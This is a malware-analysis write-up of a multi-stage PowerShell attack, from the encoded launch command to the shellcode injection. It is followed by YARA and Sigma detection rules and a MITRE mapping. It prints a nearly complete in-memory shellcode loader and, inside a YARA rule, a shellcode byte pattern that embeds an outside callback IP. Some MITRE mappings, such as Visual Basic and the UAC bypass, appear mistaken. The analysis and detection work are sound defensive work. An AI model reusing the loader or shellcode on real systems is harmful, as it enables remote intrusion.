Unmasking Malware: From PowerShell Tactics to Sysmon Detection
In today’s cybersecurity landscape, the increasing sophistication of malicious scripts and their multi-layered functionalities are becoming a pertinent threat. One such complex example recently caught our attention - a multi-stage malicious PowerShell script that intricately navigates its way into a system, using a combination of obfuscation, encoding, dynamic code execution, and potential elevation techniques. In this deep-dive, we will unravel the layers of this script, analyze its intent, examine its methodology, and understand its potential impact on targeted systems. From using Base64 encoding as a smokescreen to the potential implications of dynamic code injections, join us as we dissect and demystify this recent find.
Analyzing Malware
Stage 1
1
2
3
4
Process: powershell.exe
Process command-line:
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -nop -w hidden -enc
JABzAD0ATgBlAHcALQBPAGIAagBl...
- The
powershell.exe
command is invoked with certain parameters:nop
stands for No Profile, meaning the PowerShell session is launched without any user-specific profiles.w hidden
launches PowerShell with a hidden window, so the user doesn’t see it.enc
is short for EncodedCommand. It tells PowerShell to expect the command as a base64-encoded string.
- The long string that follows the
enc
switch is the actual command, base64-encoded. PowerShell supports this encoding to allow complex commands to be passed easily and avoid issues with quoting and escaping. But in this case, it’s also clearly used to obfuscate the command to make it harder to understand what it’s doing, a common technique used in malware.
Stage 2
I decoded base64 string. Its because its given to powershell and wanted powershell to decode.
1
2
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1Xa2/iShL9..."));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
During the second stage of the investigation, the team utilized a PowerShell script to execute a specific process. This PowerShell script makes use of the New-Object
command to instantiate objects from .NET classes.
In the given code snippet, a new MemoryStream object is being created and is immediately populated with a byte array derived from a base64-encoded string. The base64-encoded string, represented as “base64 string”, is converted into a byte array using the Convert
class’s FromBase64String
method in the .NET Framework.
This MemoryStream object, which now contains the byte array, is used to create a new GzipStream object in decompression mode, meaning the GzipStream object is reading and decompressing data from the provided MemoryStream object.
Finally, a StreamReader object is used to read the decompressed data from the GzipStream object. The ReadToEnd
method is used to read all characters from the current position to the end of the stream.
This sequence of operations suggests the script is unpacking and executing a base64 encoded and gzipped piece of code. It’s a common practice in malicious scripts, which tend to use such mechanisms to obfuscate their true intentions.
During the second stage of our analysis, we took a more cautious approach to understand the potential repercussions of the script. Instead of using IEX
to run the PowerShell command embedded in the base64 string, we opted for a safer method. We replaced IEX
with echo
, a much less harmful alternative that would merely display the decoded command instead of executing it.
1
2
PS C:\Users\Mustafa> $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1Xa2/iShL9..."));
>> echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Stage 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH...')
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
Upon careful evaluation of Stage 3, we discerned a significantly intricate PowerShell script. The script’s structure and functionalities suggest an explicit intention to engage with the system’s lower levels, as evidenced by the use of the Microsoft.Win32.UnsafeNativeMethods
namespace, which provides access to potentially dangerous or malicious functionalities within the system.
The script predominantly includes two notable functions - func_get_proc_address
and func_get_delegate_type
. Both seem meticulously crafted to interact with native system methods and delegate types dynamically, highlighting a comprehensive knowledge of the system’s underpinnings.
The script begins by setting a strict mode for error checking, ensuring that the coder does not use uninitialized variables or call non-existent functions. It then continues by defining a block of code in the $DoIt
variable.
Within this block, the script decodes a base64 string to obtain byte code, which is stored in the $var_code
variable. This byte code could contain virtually any executable code and is quite alarming considering its obscure and potential malicious nature.
Using the GetProcAddress
method from the Microsoft.Win32.UnsafeNativeMethods
class, the script obtains a pointer to the VirtualAlloc
function from the ‘kernel32.dll’ system library. VirtualAlloc
is a Windows API function often used by exploit code to allocate a region of memory with specific permissions.
The script proceeds to call VirtualAlloc
, passing it parameters to allocate memory for the previously decoded byte code. It then copies the byte code into this newly allocated memory.
Finally, the script executes the code that was copied into memory. This execution happens dynamically, using a delegate that matches the signature of the code in memory.
Interestingly, the script also checks whether it is running in a 64-bit environment using IntPtr::size
, a clear indication of the coder’s intention to make the script compatible with different system architectures.
To summarize, this stage of the script dynamically loads and executes arbitrary code in the system’s memory. The implications and specific actions are dependent on the contents of the base64 encoded string, making it potentially harmful. Therefore, caution and thorough inspection are advised when dealing with such scripts.
Stage 4
After successfully decoding the encrypted string using the CyberChef utility, we obtained a binary string which appears to be a shellcode based on its structure and contents.
The shellcode was subsequently scrutinized using a hex editor. Within this binary, a string was identified which conforms to the format of an IP address, specifically ‘46.101.141.96’.
This strongly suggests that the shellcode is designed to establish a network connection, potentially setting up a reverse shell.
Detection with YARA Rules
YARA is a tool that aids in the identification and classification of malware samples. It uses text or binary patterns to detect and analyze potential threats based on a set of rules. These rules can describe malware families, operating system artifacts, or any other identifiable pieces of information.
Stage1_PowerShell_Encoding
This rule targets encoded PowerShell commands. The rule checks for the presence of the string “powershell” and a combination of the strings “-nop”, “-w”, “hidden”, and “-enc”. These strings represent common parameters and switches used to launch PowerShell in a specific manner:
powershell
: The primary command to invoke PowerShell.nop
: Indicates that the PowerShell session should be started without any profiles.w
: Specifies the window style.hidden
: A parameter that causes PowerShell to run in the background, not displaying any window.enc
: A switch indicating the upcoming command is encoded.
The condition at the end specifies that the word “powershell” should be present and at least two of the four switches/parameters to trigger a match.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rule Stage1_PowerShell_Encoding {
meta:
description = "Detects encoded PowerShell commands"
author = "Mustafa Nafiz Durukan"
date = "2023-06-18"
strings:
$x1 = "powershell"
$s1 = "-nop"
$s2 = "-w"
$s3 = "hidden"
$s4 = "-enc"
condition:
$x1 and ( 2 of $s )
}
Stage2_Base64Decode
This rule is focused on detecting the usage of base64 decoding and the potential execution of the decoded script in PowerShell. It checks for:
FromBase64String(
: A method used for base64 decoding in .NET.IEX
: Short for Invoke-Expression, a command that executes a string as a PowerShell command./"[a-zA-Z0-9+/]{10,}=="/
: A regular expression pattern representing a base64 encoded string.
The condition requires that at least two of the above strings or patterns are present for a match.
1
2
3
4
5
6
7
8
9
10
11
12
rule Stage2_Base64Decode {
meta:
description = "Detects base64 decoding and decompression in PowerShell"
author = "Mustafa Nafiz Durukan"
date = "2023-06-18"
strings:
$x1 = "FromBase64String(" ascii
$x2 = "IEX"
$x3 = /"[a-zA-Z0-9+/]{10,}=="/
condition:
2 of $x
}
Stage3_ShellCodeInjection
This rule aims to identify potential shellcode injection techniques in PowerShell. It looks for:
VirtualAlloc
: A Windows API function frequently used by exploit code.kernel32.dll
: A vital system library whereVirtualAlloc
resides.GetDelegateForFunctionPointer
: A method to obtain a delegate for a function pointer, allowing for the dynamic execution of code.
Additionally, the rule checks for “FromBase64String(“ and “Invoke(“, which are indicative of decoding and execution patterns in PowerShell.
The condition specifies that at least two of the first three strings or a total of three strings must be present for a match.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rule Stage3_ShellCodeInjection {
meta:
description = "Detects possible shellcode injection in PowerShell"
author = "Mustafa Nafiz Durukan"
date = "2023-06-18"
strings:
$x1 = "VirtualAlloc"
$x2 = "kernel32.dll"
$x3 = "GetDelegateForFunctionPointer"
$s1 = "FromBase64String("
$s2 = "Invoke("
condition:
( 2 of $x ) or ( 3 of them )
}
Detect_Shellcode
This rule identifies shellcode, which is a small piece of code used as the payload when exploiting a vulnerability. The rule looks for a specific binary pattern (represented by { FC E8 89 0... }
) that corresponds to known malicious shellcode.
The condition is straightforward: if the binary pattern is present, it triggers a match.
1
2
3
4
5
6
7
8
9
10
11
12
13
rule Detect_Shellcode
{
meta:
description = "Detects shellcode"
author = "Mustafa Nafiz Durukan"
date = "2023-06-19"
strings:
$shellcode = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A 01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 5D 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 FF D5 31 FF 57 57 57 57 57 68 3A 56 79 A7 FF D5 E9 84 00 00 00 5B 31 C9 51 51 6A 03 51 51 68 50 00 00 00 53 50 68 57 89 9F C6 FF D5 EB 70 5B 31 D2 52 68 00 02 60 84 52 52 52 53 52 50 68 EB 55 2E 3B FF D5 89 C6 83 C3 50 31 FF 57 57 6A FF 53 56 68 2D 06 18 7B FF D5 85 C0 0F 84 C3 01 00 00 31 FF 85 F6 74 04 89 F9 EB 09 68 AA C5 E2 5D FF D5 89 C1 68 45 21 5E 31 FF D5 31 FF 57 6A 07 51 56 50 68 B7 57 E0 0B FF D5 BF 00 2F 00 00 39 C7 74 B7 31 FF E9 91 01 00 00 E9 C9 01 00 00 E8 8B FF FF FF 2F 56 41 5A 6B 00 AE 9D 5A CD E3 56 F8 DC F8 62 46 DD 3C 26 C1 20 83 8F 5A EC 3E 63 BE 0D 4D F6 DA 4E AA 5C 0D 67 3E B1 91 17 17 2A C1 BB DD 22 43 1B EE 84 B0 1A 9B 95 7B AC 63 9C 61 22 0D A9 91 DD 84 40 7E 80 0F 5A 59 17 89 23 7E 99 C4 00 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 0D 0A 00 19 20 55 DE 06 88 C7 D8 09 21 58 BB 4E 97 F2 F2 22 C7 4D 2B F7 6D F1 4E E9 BD 14 A6 97 3C D3 8E D0 E3 19 71 89 21 A4 52 4C 70 A7 8D 0A 45 EC D9 F5 A6 D9 9F 50 6E 19 CC CE C6 38 D6 F7 97 6C B2 AA C3 93 FC B2 E4 A8 0E BD 7F 7C 38 B6 8A AB C7 6C 53 0F 64 AB B2 E0 2C 45 81 B9 4A D2 D5 CC 6C 69 67 85 35 95 7C 4D 29 53 43 53 A6 6C 9C 18 F5 76 B3 F1 B2 D3 4A BA 79 AF D7 DF 78 99 6A 79 73 D8 59 08 96 B2 BD 96 1B 89 0F 42 AE D0 B5 39 DE 30 0E 5C D1 97 62 E8 9B C8 81 F5 07 EE F8 98 D5 C6 49 85 F7 32 85 C9 FE 9A C8 55 D3 19 B2 A8 31 80 7F 7E 1C EA B7 9B 9F 4A 80 3C F6 5B 2A C9 5C CF 6C 51 CF 87 11 0D 3B 21 FC 18 2D F8 F7 65 EF 32 90 17 D5 15 28 95 0B 1D 26 0C F8 00 68 F0 B5 A2 56 FF D5 6A 40 68 00 10 00 00 68 00 00 40 00 57 68 58 A4 53 E5 FF D5 93 B9 00 00 00 00 01 D9 51 53 89 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 85 C0 74 C6 8B 07 01 C3 85 C0 75 E5 58 C3 E8 A9 FD FF FF 34 36 2E 31 30 31 2E 31 34 31 2E 39 36 00 18 88 B5 8B }
condition:
$shellcode
}
MITRE Map
MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. In the report, several stages of the PowerShell malware execution were mapped to specific techniques in the MITRE ATT&CK framework. Here’s a breakdown of the identified techniques and their purposes:
- Stage 1 - PowerShell Execution:
- Technique: T1059.001 - Command and Scripting Interpreter: PowerShell
- Explanation: PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. The
nop
,w hidden
, andenc
flags are used in this script to set the policy, window style, and encoding format for the PowerShell session, respectively.
- Stage 2 - Data Encoding and Compression:
- Technique: T1132.001 - Data Encoding: Standard Encoding
- Explanation: The adversary is using Base64 encoding to obfuscate the actual payload data, which can help evade signature-based detection mechanisms. Furthermore, they’re using Gzip compression on the Base64-encoded data.
- Stage 3 - Process Injection and Code Execution:
- Techniques:
- T1055 - Process Injection
- T1059.005 - Command and Scripting Interpreter: Visual Basic
- Explanation: The script creates a delegate for a function pointer in memory and copies a Base64-encoded shellcode into that location. This is an instance of process injection, where code is inserted into an existing process’s address space and then executed. After the shellcode is injected, it is executed via the
Invoke
method.
- Techniques:
- Stage 3 - Using RunAs for bypassing User Access Control (UAC):
- Technique: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Access Control
- Explanation: The PowerShell script uses the
start-job
cmdlet withRunAs32
to potentially bypass User Access Control (UAC). This could allow the script to run with higher privileges.
Sysmon
Sysmon Overview
Sysmon (System Monitor) is a Windows system service and device driver that monitors and logs system activity to the Windows event log. Sysmon provides detailed information about process creations, network connections, and changes to file creation times, which can be crucial for understanding the nature of activities on a system and, especially, for identifying malicious activities.
Process Creation
One of the most valuable events Sysmon can log is “Process Creation”. This event logs when a process starts on a system and provides detailed data such as the command line used to start the process, the user who ran the process, and other metadata. Process Creation logs are particularly useful for tracking the execution of applications and scripts on a system.
Importance of Monitoring Sysmon Logs
By continuously monitoring Sysmon logs, especially the Process Creation events, security teams can detect the execution of such malicious scripts or other anomalous activities. The presence of flags like -nop
, -w hidden
, and -enc
can be used as indicators of suspicious behavior, as these flags are often used in malware campaigns to evade detection.
In the context of the photo, if the security infrastructure is set up to monitor and alert on such command-line flags, then this kind of malware execution can be detected in real-time, allowing for a quick response to mitigate the threat.
In conclusion, Sysmon provides a granular view of system activities, and its logs can be invaluable in detecting and analyzing malicious activities on a system. Regularly monitoring and analyzing Sysmon logs, especially Process Creation events, is an essential practice for robust cybersecurity.
Detection with Sigma Rule
The provided Sigma rule is designed to detect suspicious PowerShell command lines by monitoring Process Creation events in Sysmon logs. Let’s break down how this rule works:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
title: Detect PowerShell Suspicious CommandLines
description: Detects PowerShell command line with suspicious parameters
author: Mustafa Durukan
date: 2023/08/10
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
service: sysmon
detection:
event_id:
EventID: 1
selection_encoded:
CommandLine|contains:
- ' -enc '
- ' -EncodedCommand '
selection_hidden:
CommandLine|contains:
- ' -w hidden '
- ' -window hidden '
- ' -windowstyle hidden '
selection_noprofile:
CommandLine|contains:
- ' -nop '
- ' -NoProfile '
condition: event_id and 2 of selection*
falsepositives:
- Administrative activity
level: high
Log Source
logsource
: Specifies the source of the logs that the rule should monitor. In this case, it’s looking for logs from the Sysmon service on Windows systems.
Detection Logic
event_id
: The rule is looking for EventID 1, which corresponds to the “Process Creation” event in Sysmon, as discussed in the earlier Sysmon section.selection_encoded
: Detects if the command line contains encoded commands usingenc
orEncodedCommand
.selection_hidden
: Detects if the PowerShell window is being executed in a hidden manner using flags likew hidden
,window hidden
, orwindowstyle hidden
.selection_noprofile
: Detects if the PowerShell session is being started without loading a user profile using flagsnop
orNoProfile
.condition
: The actual detection logic. The rule triggers an alert if it detects EventID 1 (Process Creation) and any two (2 of
) the above-definedselection*
patterns in the command line.
Other Sections
falsepositives
: Lists potential scenarios where the rule might generate an alert, but it’s not actually malicious activity. In this case, it’s administrative activity where an admin might use similar command-line parameters.level
: Specifies the severity of the rule. Here, it’s marked as “high”, indicating the importance of addressing any alerts generated by this rule.
Summary of Sigma Rule
This Sigma rule is designed to detect potentially malicious PowerShell command lines by leveraging the granular logging provided by Sysmon’s Process Creation events. By targeting specific suspicious command-line flags, the rule can identify when scripts or commands are being executed with obfuscation or evasion tactics, similar to the scenario discussed in the earlier Sysmon section. When these patterns are detected, an alert with a high severity level is generated, prompting security teams to investigate further.
IOCs
- 46.101.141.96
VirusTotal
Overall Summary
In this investigation, a complex multi-stage malicious PowerShell script was dissected to reveal its inner workings. The investigation kicked off with a PowerShell command that incorporated Base64 encoding to conceal its intentions. The first stage involved decoding this Base64 string, which then led to the second stage of execution.
In the second stage, the decoded Base64 string was executed to reveal another layer of script. The script was further analyzed by replacing a call to Invoke-Expression (IEX) with echo, allowing for the viewing of the decoded Base64 content without executing potentially harmful code. This unveiled a detailed and complex script that demonstrated a high level of sophistication.
The third stage of the script further demonstrated its complexity. The script employed several advanced .NET and Windows API techniques to allocate memory and execute shellcode within that memory space, making it more difficult to detect and analyze. In the final stage, a Base64 encoded shellcode was uncovered. Decoding this shellcode revealed an IP address which was subsequently found to be associated with malicious activities on VirusTotal.
The presence of obfuscation techniques, use of shellcode, and connection to a known malicious IP address clearly indicate the malicious nature of the PowerShell script. The investigation concluded with the creation of Sigma and YARA rules, which will aid in detecting similar malicious scripts in the future. The meticulous analysis demonstrated in this report underscores the depth and breadth of such scripts and the lengths their authors will go to avoid detection.